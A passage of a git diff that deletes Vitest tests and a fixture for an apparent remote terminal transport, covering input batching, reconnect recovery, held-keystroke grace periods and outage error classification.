-      const batcher = createRemoteRuntimePtyTextBatcher(10, (value) => flushes.push(value), {
-        maxPendingBytes: text.length + 1
-      })
-
-      expect(batcher.push(text)).toBe(true)
-      expect(flushes).toEqual([])
-
-      const drained = batcher.drain()
-      await vi.advanceTimersByTimeAsync(0)
-      await drained
-
-      expect(flushes).toEqual([text])
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('keeps input queued after deferred validation in byte order', async () => {
-    vi.useFakeTimers()
-    try {
-      const flushes: string[] = []
-      const text = 'x'.repeat(CLIPBOARD_TEXT_MEASURE_YIELD_CODE_UNITS + 1)
-      const batcher = createRemoteRuntimePtyTextBatcher(1_000, (value) => flushes.push(value), {
-        maxPendingBytes: text.length + 10
-      })
-
-      expect(batcher.push(text)).toBe(true)
-      expect(batcher.push('tail')).toBe(true)
-
-      const drained = batcher.drain()
-      await vi.advanceTimersByTimeAsync(0)
-      await drained
-
-      expect(flushes).toEqual([text])
-      expect(batcher.takePending()).toBe('tail')
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('runs a validation barrier before input queued after it', async () => {
     vi.useFakeTimers()
     try {
@@ -202,42 +70,3 @@ describe('createRemoteRuntimePtyTextBatcher', () => {
     }
   })
 })
-
-describe('createRemoteRuntimeViewportBatcher', () => {
-  it('drops the queued viewport on clear so a later flush emits nothing', () => {
-    vi.useFakeTimers()
-    try {
-      const resizes: { cols: number; rows: number }[] = []
-      const batcher = createRemoteRuntimeViewportBatcher(33, (cols, rows) => {
-        resizes.push({ cols, rows })
-      })
-
-      batcher.queue(120, 40)
-      batcher.clear()
-      // A stale pending viewport left behind by clear() would leak out here.
-      batcher.flush()
-
-      expect(resizes).toEqual([])
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('does not emit a cleared viewport when the debounce timer would have fired', () => {
-    vi.useFakeTimers()
-    try {
-      const resizes: { cols: number; rows: number }[] = []
-      const batcher = createRemoteRuntimeViewportBatcher(33, (cols, rows) => {
-        resizes.push({ cols, rows })
-      })
-
-      batcher.queue(90, 30)
-      batcher.clear()
-      vi.advanceTimersByTime(100)
-
-      expect(resizes).toEqual([])
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts
index c18b857a7f8..b93d6c6594a 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts
@@ -139,28 +139,6 @@ describe('paired client sleep/wake with several remote terminal tabs', () => {
     return panes
   }
 
-  it('rebinds every pane after the shared multiplex connection drops', async () => {
-    const panes = await attachAllPanes()
-    const before = subscribedHandles().length
-
-    // Laptop closed: the single multiplex socket dies, taking all six streams.
-    subscriptionCallbacks?.onClose?.()
-
-    await vi.waitFor(() =>
-      expect(subscribedHandles().length).toBeGreaterThanOrEqual(before + PANE_COUNT)
-    )
-    const afterReconnect = subscribedHandles().slice(before)
-    expect(new Set(afterReconnect).size, `resubscribes: ${JSON.stringify(afterReconnect)}`).toBe(
-      PANE_COUNT
-    )
-    for (const pane of panes) {
-      expect(pane.transport.getPtyId(), `pane ${pane.hostTabId} bound the wrong handle`).toBe(
-        `remote:env-1@@${hostHandleByTabId.get(pane.hostTabId)}`
-      )
-      pane.transport.destroy?.()
-    }
-  })
-
   it('re-materializes a pane whose host PTY was parked while the client slept', async () => {
     const panes = await attachAllPanes()
     const before = subscribedHandles().length
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-connect-failure-recovery.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-connect-failure-recovery.test.ts
index 07a60965f79..84063b9a310 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-connect-failure-recovery.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-connect-failure-recovery.test.ts
@@ -69,38 +69,6 @@ describe('recoverable connect failures on a remote runtime pane', () => {
     resetRemoteRuntimeTransport()
   })
 
-  it('keeps retrying a recoverable connect failure instead of latching immediately', async () => {
-    vi.useFakeTimers()
-    try {
-      installUnreachableRuntime()
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      await transport.connect({
-        url: '',
-        sessionId: 'remote:env-1@@',
-        callbacks: { onError }
-      })
-
-      // Loss of contact is unverifiable, not a dead terminal: automatic recovery must still be running.
-      expect(resolvePaneCalls).toBe(1)
-      expect(transport.getRecoveryState?.().phase).toBe('backoff')
-      expect(onError).not.toHaveBeenCalled()
-
-      await vi.advanceTimersByTimeAsync(1_000)
-      expect(resolvePaneCalls).toBeGreaterThan(1)
-
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('leaves both revival paths armed once the recovery window is spent', async () => {
     vi.useFakeTimers()
     try {
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-disconnected-input-grace-retry.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-disconnected-input-grace-retry.test.ts
index b23e8cfcddc..3072eef32b4 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-disconnected-input-grace-retry.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-disconnected-input-grace-retry.test.ts
@@ -81,133 +81,11 @@ function mockSubscribeUntilReachable(isReachable: () => boolean): void {
   )
 }
 
-/** A connected desktop pane whose stream then drops, with resubscribes failing until reachable. */
-async function connectThenLoseHost(isReachable: () => boolean) {
-  const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-  const transport = createRemoteRuntimePtyTransport('env-1', {
-    worktreeId: 'wt-1',
-    tabId: 'tab-1',
-    leafId: 'pane:1'
-  })
-  transport.attach({ existingPtyId: 'remote:terminal-1', cols: 80, rows: 24, callbacks: {} })
-  await vi.waitFor(() => expect(subscribeFrameCount()).toBe(1))
-  attachLatestStream()
-  await vi.waitFor(() => expect(transport.isConnected()).toBe(true))
-  mockSubscribeUntilReachable(isReachable)
-  subscriptionCallbacks?.onClose?.()
-  return transport
-}
-
 describe('disconnected input grace across retries', () => {
   beforeEach(() => {
     resetRemoteRuntimeTransport()
   })
 
-  it('delivers keys typed during a retry begun inside the grace that ends after it, in order', async () => {
-    vi.useFakeTimers()
-    try {
-      let hostReachable = false
-      const transport = await connectThenLoseHost(() => hostReachable)
-      expect(transport.sendInput('STALE\r', 'driving')).toBe(true)
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_DISCONNECTED_INPUT_GRACE_MS - 10_000)
-
-      expect(transport.retryRecovery?.()).toBe(true)
-      expect(transport.sendInput('y\r', 'driving')).toBe(true)
-      // The attempt is still failing when the grace runs out.
-      await vi.advanceTimersByTimeAsync(15_000)
-      hostReachable = true
-      await vi.advanceTimersByTimeAsync(60_000)
-      await vi.waitFor(() => expect(subscribeFrameCount()).toBe(2))
-      attachLatestStream()
-      await vi.advanceTimersByTimeAsync(50)
-
-      // Why both: held input is one ordered stream; the stale part may be the Ctrl+C the rest relies on.
-      expect(sentText()).toBe('STALE\ry\r')
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('drops held input once a retry begun inside the grace latches again past it', async () => {
-    vi.useFakeTimers()
-    try {
-      let hostReachable = false
-      const transport = await connectThenLoseHost(() => hostReachable)
-      expect(transport.sendInput('STALE\r', 'driving')).toBe(true)
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1_000)
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_DISCONNECTED_INPUT_GRACE_MS - 10_000)
-      expect(transport.retryRecovery?.()).toBe(true)
-      expect(transport.sendInput('y\r', 'driving')).toBe(true)
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      expect(transport.sendInput('n\r', 'driving')).toBe(false)
-
-      hostReachable = true
-      expect(transport.retryRecovery?.()).toBe(true)
-      await vi.waitFor(() => expect(subscribeFrameCount()).toBe(2))
-      attachLatestStream()
-      await vi.advanceTimersByTimeAsync(50)
-      transport.sendInput('ls\r', 'driving')
-      await vi.advanceTimersByTimeAsync(50)
-
-      expect(sentText()).toBe('ls\r')
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('keeps the grace running when a web pane Reconnect fails again, so stale keys never run', async () => {
-    vi.useFakeTimers()
-    try {
-      const healthyRuntimeCall = runtimeCall.getMockImplementation()
-      let hostReachable = false
-      runtimeCall.mockImplementation(async (request: { method: string; params?: unknown }) => {
-        if (!hostReachable && request.method === 'session.tabs.activate') {
-          throw unreachable()
-        }
-        return healthyRuntimeCall?.(request)
-      })
-      mockSubscribeUntilReachable(() => hostReachable)
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1'
-      })
-      transport.attach({ existingPtyId: 'remote:env-1@@terminal-1', callbacks: {} })
-      await vi.advanceTimersByTimeAsync(0)
-      expect(transport.sendInput('git push -f\r', 'driving')).toBe(true)
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_DISCONNECTED_INPUT_GRACE_MS - 10_000)
-
-      // Reconnect with the host still down: the replayed attach fails and latches again.
-      expect(transport.retryRecovery?.()).toBe(true)
-      await vi.advanceTimersByTimeAsync(0)
-      expect(transport.sendInput('y\r', 'driving')).toBe(true)
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      expect(transport.sendInput('n\r', 'driving')).toBe(false)
-
-      hostReachable = true
-      expect(transport.retryRecovery?.()).toBe(true)
-      await vi.waitFor(() => expect(subscribeFrameCount()).toBe(1))
-      attachLatestStream()
-      await vi.advanceTimersByTimeAsync(50)
-      transport.sendInput('ls\r', 'driving')
-      await vi.advanceTimersByTimeAsync(50)
-
-      expect(sentText()).toBe('ls\r')
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('bounds a web pane Reconnect whose attach stalls, so a late snapshot never releases held keys', async () => {
     vi.useFakeTimers()
     try {
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-host-session-launch-test-fixture.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-host-session-launch-test-fixture.ts
deleted file mode 100644
index 0a311157bd2..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-host-session-launch-test-fixture.ts
+++ /dev/null
@@ -1,79 +0,0 @@
-import { vi, type Mock } from 'vitest'
-import { createTerminalStreamFixtures } from '@/components/terminal-pane/pty-transport/remote/remote-runtime-pty-transport-stream-fixtures'
-
-export function createHostSessionLaunchRuntimeFixture() {
-  const runtimeCall: Mock = vi.fn()
-  const runtimeSubscribe: Mock = vi.fn()
-  let subscriptionCallbacks: {
-    onResponse: (response: unknown) => void
-    onBinary?: (bytes: Uint8Array<ArrayBufferLike>) => void
-    onError?: (error: { code: string; message: string }) => void
-    onClose?: () => void
-  } | null = null
-  const unsubscribeFn = vi.fn<() => void>()
-  const sendBinary = vi.fn<(bytes: Uint8Array<ArrayBufferLike>) => void>()
-  const unsubscribe = { unsubscribe: unsubscribeFn, sendBinary }
-  function reset() {
-    runtimeCall.mockReset()
-    runtimeSubscribe.mockReset()
-    subscriptionCallbacks = null
-    unsubscribeFn.mockReset()
-    sendBinary.mockReset()
-    runtimeCall.mockImplementation(async (args: { method?: string }) =>
-      args.method === 'status.get'
-        ? {
-            id: 'rpc-status',
-            ok: true,
-            result: {
-              runtimeProtocolVersion: 3,
-              minCompatibleRuntimeClientVersion: 2,
-              capabilities: ['agent-session.host-authority.v1']
-            },
-            _meta: { runtimeId: 'runtime-remote' }
-          }
-        : {
-            id: 'rpc-create',
-            ok: true,
-            result: {
-              terminal: {
-                handle: 'term-remote',
-                worktreeId: 'repo1::/remote/wt',
-                title: null,
-                surface: 'background'
-              }
-            },
-            _meta: { runtimeId: 'runtime-remote' }
-          }
-    )
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: typeof subscriptionCallbacks) => {
-        subscriptionCallbacks = callbacks
-        queueMicrotask(() => {
-          subscriptionCallbacks?.onResponse({
-            id: 'rpc-multiplex',
-            ok: true,
-            result: { type: 'ready' },
-            _meta: { runtimeId: 'runtime-remote' }
-          })
-        })
-        return unsubscribe
-      }
-    )
-  }
-  return {
-    runtimeCall,
-    runtimeSubscribe,
-    unsubscribe,
-    unsubscribeFn,
-    reset,
-    get subscriptionCallbacks() {
-      return subscriptionCallbacks
-    },
-    latestRemoteSubscribePayload() {
-      return createTerminalStreamFixtures({
-        getCallbacks: () => subscriptionCallbacks,
-        sendBinary
-      }).latestSubscribePayload()
-    }
-  }
-}
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-outage-toast-flood-and-stuck-reconnect.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-outage-toast-flood-and-stuck-reconnect.test.ts
deleted file mode 100644
index b5cca5933ad..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-outage-toast-flood-and-stuck-reconnect.test.ts
+++ /dev/null
@@ -1,414 +0,0 @@
-/** Inject Electron-shaped RPC rejections with codes stripped to verify message classification, bounded outage surfaces and revivable reconnect, including host-side activation of pending panes (STA-3002). */
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-afterEach(() => {
-  expect(appStore.getState).not.toHaveBeenCalled()
-})
-
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame,
-  decodeTerminalStreamJson,
-  encodeTerminalStreamFrame,
-  encodeTerminalStreamJson,
-  encodeTerminalStreamText
-} from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import { RuntimeRpcCallQueueOverloadError } from '../../../../../../shared/runtime-rpc-call-queue'
-import { withRemoteRuntimeTailscaleHint } from '../../../../../../shared/remote-runtime/remote-runtime-tailscale-hint'
-import type { PtyTransportRecoveryState } from '../pty-transport-types'
-import './recovery/remote-runtime-pty-recovery-state'
-import { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } from './recovery/remote-runtime-pty-recovery-limits'
-import { stubRuntimeEnvironmentBridge } from '../../../../runtime/rpc/testing/runtime-environment-bridge-fixture'
-
-const ELECTRON_IPC_PREFIX = "Error invoking remote method 'runtimeEnvironments:call': "
-
-/** A rejection exactly as the renderer sees it after Electron IPC strips custom props. */
-function electronIpcRejection(errorName: string, message: string): Error {
-  return new Error(`${ELECTRON_IPC_PREFIX}${errorName}: ${message}`)
-}
-
-const QUEUE_OVERLOAD_RAW = new RuntimeRpcCallQueueOverloadError('selector').message
-
-// The exact user-reported toast text family (timeout + Tailscale funnel hint).
-const TIMEOUT_WITH_TAILSCALE_HINT = withRemoteRuntimeTailscaleHint(
-  'Timed out waiting for the remote Orca runtime to respond.',
-  'https://orca-server.tail1234.ts.net'
-)
-
-describe('remote runtime outage: toast flood and stuck reconnect (issue3)', () => {
-  const runtimeCall = vi.fn()
-  const runtimeSubscribe = vi.fn()
-  const refreshSessionTabsSnapshot = vi.fn(async () => {})
-  const subscriptionSendBinary = vi.fn()
-  let subscriptionCallbacks: {
-    onResponse: (response: unknown) => void
-    onBinary?: (bytes: Uint8Array<ArrayBufferLike>) => void
-    onError?: (error: { code: string; message: string }) => void
-    onClose?: () => void
-  } | null = null
-
-  function emitMultiplexReady(): void {
-    subscriptionCallbacks?.onResponse({ ok: true, result: { type: 'ready' } })
-  }
-
-  function latestSubscribePayload(): { streamId: number; terminal: string } {
-    const frames = subscriptionSendBinary.mock.calls
-      .map((call) => decodeTerminalStreamFrame(call[0]))
-      .filter((frame) => frame?.opcode === TerminalStreamOpcode.Subscribe)
-    const frame = frames.at(-1)
-    if (!frame) {
-      throw new Error('missing terminal subscribe frame')
-    }
-    const payload = decodeTerminalStreamJson<{ streamId: number; terminal: string }>(frame.payload)
-    if (!payload) {
-      throw new Error('invalid terminal subscribe payload')
-    }
-    return payload
-  }
-
-  function subscribedTerminalHandles(): string[] {
-    return subscriptionSendBinary.mock.calls
-      .map((call) => decodeTerminalStreamFrame(call[0]))
-      .flatMap((frame) => {
-        if (frame?.opcode !== TerminalStreamOpcode.Subscribe) {
-          return []
-        }
-        const payload = decodeTerminalStreamJson<{ terminal: string }>(frame.payload)
-        return payload ? [payload.terminal] : []
-      })
-  }
-
-  function emitSnapshot(streamId: number, data: string): void {
-    subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotStart,
-        streamId,
-        seq: 1,
-        payload: encodeTerminalStreamJson({ kind: 'scrollback' })
-      })
-    )
-    subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotChunk,
-        streamId,
-        seq: 2,
-        payload: encodeTerminalStreamText(data)
-      })
-    )
-    subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotEnd,
-        streamId,
-        seq: 3,
-        payload: new Uint8Array()
-      })
-    )
-  }
-
-  function installHealthyRuntimeCallMock(): void {
-    runtimeCall.mockImplementation(async (request: { method: string; params?: unknown }) => {
-      if (request.method === 'session.tabs.activate') {
-        const params = request.params as { tabId: string; leafId?: string }
-        const resolvedLeafId = params.leafId ?? 'pane:1'
-        return {
-          ok: true,
-          result: {
-            worktree: 'id:wt-1',
-            publicationEpoch: 'epoch-1',
-            snapshotVersion: 1,
-            activeGroupId: 'group-1',
-            activeTabId: `${params.tabId}::${resolvedLeafId}`,
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: `${params.tabId}::${resolvedLeafId}`,
-                parentTabId: params.tabId,
-                leafId: resolvedLeafId,
-                title: 'Terminal',
-                isActive: true,
-                status: 'ready',
-                terminal: 'terminal-1'
-              }
-            ]
-          }
-        }
-      }
-      if (request.method === 'terminal.resolvePane') {
-        const params = request.params as { paneKey: string; worktreeId: string }
-        const separator = params.paneKey.indexOf(':')
-        return {
-          ok: true,
-          result: {
-            terminal: {
-              handle: 'terminal-1',
-              tabId: params.paneKey.slice(0, separator),
-              leafId: params.paneKey.slice(separator + 1),
-              worktreeId: params.worktreeId
-            }
-          }
-        }
-      }
-      return { ok: true, result: { terminal: { handle: 'terminal-1' } } }
-    })
-  }
-
-  beforeEach(() => {
-    vi.resetModules()
-    vi.doUnmock(
-      '../../../../runtime/hosted-terminals/streams/registry/remote-runtime-terminal-multiplexer-registry'
-    )
-    vi.doMock('@/runtime/web-session-tabs-sync/inventory/web-runtime-session-snapshot', () => ({
-      refreshWebRuntimeSessionTabsSnapshot: refreshSessionTabsSnapshot
-    }))
-    vi.clearAllMocks()
-    subscriptionCallbacks = null
-    subscriptionSendBinary.mockReset()
-    installHealthyRuntimeCallMock()
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: typeof subscriptionCallbacks) => {
-        subscriptionCallbacks = callbacks
-        queueMicrotask(emitMultiplexReady)
-        return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-      }
-    )
-    stubRuntimeEnvironmentBridge({ call: runtimeCall, subscribe: runtimeSubscribe })
-  })
-
-  it('classifies the reported timeout with its Tailscale hint as recoverable', async () => {
-    const { isRecoverableRemoteRuntimeConnectionError, toRemoteRuntimeClientErrorLike } =
-      await import('../../../../../../shared/remote-runtime/remote-runtime-client-error-classification')
-    const rendererSide = toRemoteRuntimeClientErrorLike(
-      electronIpcRejection('RemoteRuntimeClientError', TIMEOUT_WITH_TAILSCALE_HINT)
-    )
-    // Electron IPC stripped the code; the fragment list still catches this one.
-    expect(rendererSide.code).toBeUndefined()
-    expect(isRecoverableRemoteRuntimeConnectionError(rendererSide)).toBe(true)
-    // Queue saturation is transient outage pressure even after IPC strips its retry-later code.
-    const overload = toRemoteRuntimeClientErrorLike(
-      electronIpcRejection('RuntimeRpcCallQueueOverloadError', QUEUE_OVERLOAD_RAW)
-    )
-    expect(overload.code).toBeUndefined()
-    expect(isRecoverableRemoteRuntimeConnectionError(overload)).toBe(true)
-  })
-
-  it('suppresses repeated queue-overload send errors and backs off recovery', async () => {
-    // Black-hole stream subscribe so typing falls back to one-shot RPCs rejected by main’s saturated queue.
-    runtimeSubscribe.mockImplementation(async () => new Promise(() => {}))
-    let sendRejections = 0
-    installHealthyRuntimeCallMock()
-    const healthyImpl = runtimeCall.getMockImplementation()!
-    runtimeCall.mockImplementation(async (request: { method: string; params?: unknown }) => {
-      if (request.method === 'terminal.send') {
-        sendRejections += 1
-        throw electronIpcRejection('RuntimeRpcCallQueueOverloadError', QUEUE_OVERLOAD_RAW)
-      }
-      return healthyImpl(request)
-    })
-
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const recoveryPhases: string[] = []
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-1',
-      cols: 80,
-      rows: 24,
-      callbacks: {
-        onError,
-        onRecoveryStateChange: (state: PtyTransportRecoveryState) =>
-          recoveryPhases.push(state.phase)
-      }
-    })
-    await vi.waitFor(() => expect(transport.getPtyId()).toBe('remote:env-1@@terminal-1'))
-
-    expect(transport.sendInputImmediate?.('k1')).toBe(true)
-    await vi.waitFor(() => expect(sendRejections).toBe(1))
-    expect(transport.sendInputImmediate?.('k2')).toBe(true)
-    await vi.waitFor(() => expect(sendRejections).toBe(2))
-    expect(transport.sendInputImmediate?.('k3')).toBe(true)
-    await vi.waitFor(() => expect(sendRejections).toBe(3))
-    await new Promise((resolve) => setTimeout(resolve, 0))
-
-    expect(onError).not.toHaveBeenCalled()
-    expect(recoveryPhases).toContain('backoff')
-    transport.destroy?.()
-  })
-
-  it('keeps manual recovery available after a fatal resubscribe error', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const { retryAllRemoteRuntimePtyRecoveriesNow } =
-      await import('./recovery/remote-runtime-pty-recovery-state')
-    const { updateTerminalRemoteRuntimeRecoveryUiState } =
-      await import('./recovery/terminal-remote-runtime-recovery-ui-state')
-    const onError = vi.fn()
-    let bannerUiState: Parameters<typeof updateTerminalRemoteRuntimeRecoveryUiState>[0] = {}
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-1',
-      cols: 80,
-      rows: 24,
-      callbacks: {
-        onError,
-        onRecoveryStateChange: (state: PtyTransportRecoveryState) => {
-          bannerUiState = updateTerminalRemoteRuntimeRecoveryUiState(bannerUiState, 1, state)
-        }
-      }
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    emitSnapshot(latestSubscribePayload().streamId, 'live before outage')
-    expect(transport.isConnected()).toBe(true)
-
-    // A fatal recovery response may latch offline but must preserve manual revival.
-    const fatalMessage = 'Remote runtime pairing credentials expired.'
-    runtimeCall.mockImplementation(async (request: { method: string }) => {
-      if (request.method === 'terminal.resolvePane') {
-        throw Object.assign(new Error(fatalMessage), { code: 'unauthorized' })
-      }
-      throw electronIpcRejection('RemoteRuntimeClientError', TIMEOUT_WITH_TAILSCALE_HINT)
-    })
-    subscriptionCallbacks?.onClose?.()
-    await vi.waitFor(() => expect(onError).toHaveBeenCalled())
-    expect(onError).toHaveBeenCalledTimes(1)
-    expect(onError).toHaveBeenCalledWith(fatalMessage)
-
-    installHealthyRuntimeCallMock()
-    const subscribeCallsBeforeTriggers = runtimeSubscribe.mock.calls.length
-    // Fire every built-in revival trigger the app has:
-    const revivedByOnlineOrResume = retryAllRemoteRuntimePtyRecoveriesNow()
-    const manualRetryAccepted = transport.retryRecovery?.() ?? false
-    const reconnectBannerVisible = 1 in bannerUiState
-
-    // After connectivity returns, require automatic revival or an actionable Reconnect surface; no silent unbound pane.
-    expect(
-      {
-        revivedByOnlineOrResume,
-        manualRetryAccepted,
-        reconnectBannerVisible
-      },
-      'pane must remain revivable after a fatal resubscribe error'
-    ).not.toEqual({
-      revivedByOnlineOrResume: 0,
-      manualRetryAccepted: false,
-      reconnectBannerVisible: false
-    })
-
-    await vi.waitFor(() =>
-      expect(runtimeSubscribe.mock.calls.length).toBeGreaterThan(subscribeCallsBeforeTriggers)
-    )
-    transport.destroy?.()
-  })
-
-  it('re-materializes a pending host surface on online and manual recovery', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const { retryAllRemoteRuntimePtyRecoveriesNow } =
-        await import('./recovery/remote-runtime-pty-recovery-state')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'leaf-1'
-      })
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-1',
-        cols: 80,
-        rows: 24,
-        callbacks: {}
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      emitSnapshot(latestSubscribePayload().streamId, 'live before host restart')
-      expect(transport.isConnected()).toBe(true)
-
-      // Restarted host republishes a pending surface; only session.tabs.activate can mint its new handle.
-      let hostActivated = false
-      let activateCallsAfterOutage = 0
-      let listCallsAfterOutage = 0
-      const activateIntentsAfterOutage: unknown[] = []
-      const hostSnapshot = () => ({
-        ok: true,
-        result: {
-          worktree: 'wt-1',
-          publicationEpoch: 'epoch-2',
-          snapshotVersion: 2 + listCallsAfterOutage,
-          activeGroupId: null,
-          activeTabId: 'host-tab-1::leaf-1',
-          activeTabType: 'terminal',
-          tabs: [
-            {
-              type: 'terminal',
-              id: 'host-tab-1::leaf-1',
-              parentTabId: 'host-tab-1',
-              leafId: 'leaf-1',
-              title: 'Terminal',
-              isActive: true,
-              ...(hostActivated
-                ? { status: 'ready', terminal: 'terminal-2' }
-                : { status: 'pending-handle', terminal: null })
-            }
-          ]
-        }
-      })
-      runtimeCall.mockImplementation(
-        async (request: { method: string; params?: { intent?: unknown } }) => {
-          if (request.method === 'session.tabs.list') {
-            listCallsAfterOutage += 1
-            return hostSnapshot()
-          }
-          if (request.method === 'session.tabs.activate') {
-            activateCallsAfterOutage += 1
-            activateIntentsAfterOutage.push(request.params?.intent)
-            hostActivated = true
-            return hostSnapshot()
-          }
-          return { ok: true, result: {} }
-        }
-      )
-
-      // Stream lost → reconnect. The resubscribe path looks for a status:'ready'
-      // handle and finds only the pending surface.
-      subscriptionCallbacks?.onClose?.()
-      await vi.advanceTimersByTimeAsync(16_000)
-
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      retryAllRemoteRuntimePtyRecoveriesNow()
-      await vi.advanceTimersByTimeAsync(16_000)
-
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-      transport.retryRecovery?.()
-      await vi.advanceTimersByTimeAsync(16_000)
-
-      // Reconnect must activate pending surfaces; list-only polling cannot materialize their PTYs (#11542).
-      expect(
-        activateCallsAfterOutage,
-        `reconnect ran ${listCallsAfterOutage} list-only inventory polls across online trigger + Reconnect click without ever activating the pending surface`
-      ).toBeGreaterThan(0)
-      // Label recovery as machinery rather than user wake so deliberately slept panes remain asleep (STA-3465).
-      expect(activateIntentsAfterOutage.every((intent) => intent === 'automatic')).toBe(true)
-      await vi.waitFor(() => expect(subscribedTerminalHandles()).toContain('terminal-2'))
-      emitSnapshot(latestSubscribePayload().streamId, 'rematerialized')
-      expect(transport.isConnected()).toBe(true)
-      expect(transport.getPtyId()).toBe('remote:env-1@@terminal-2')
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-})
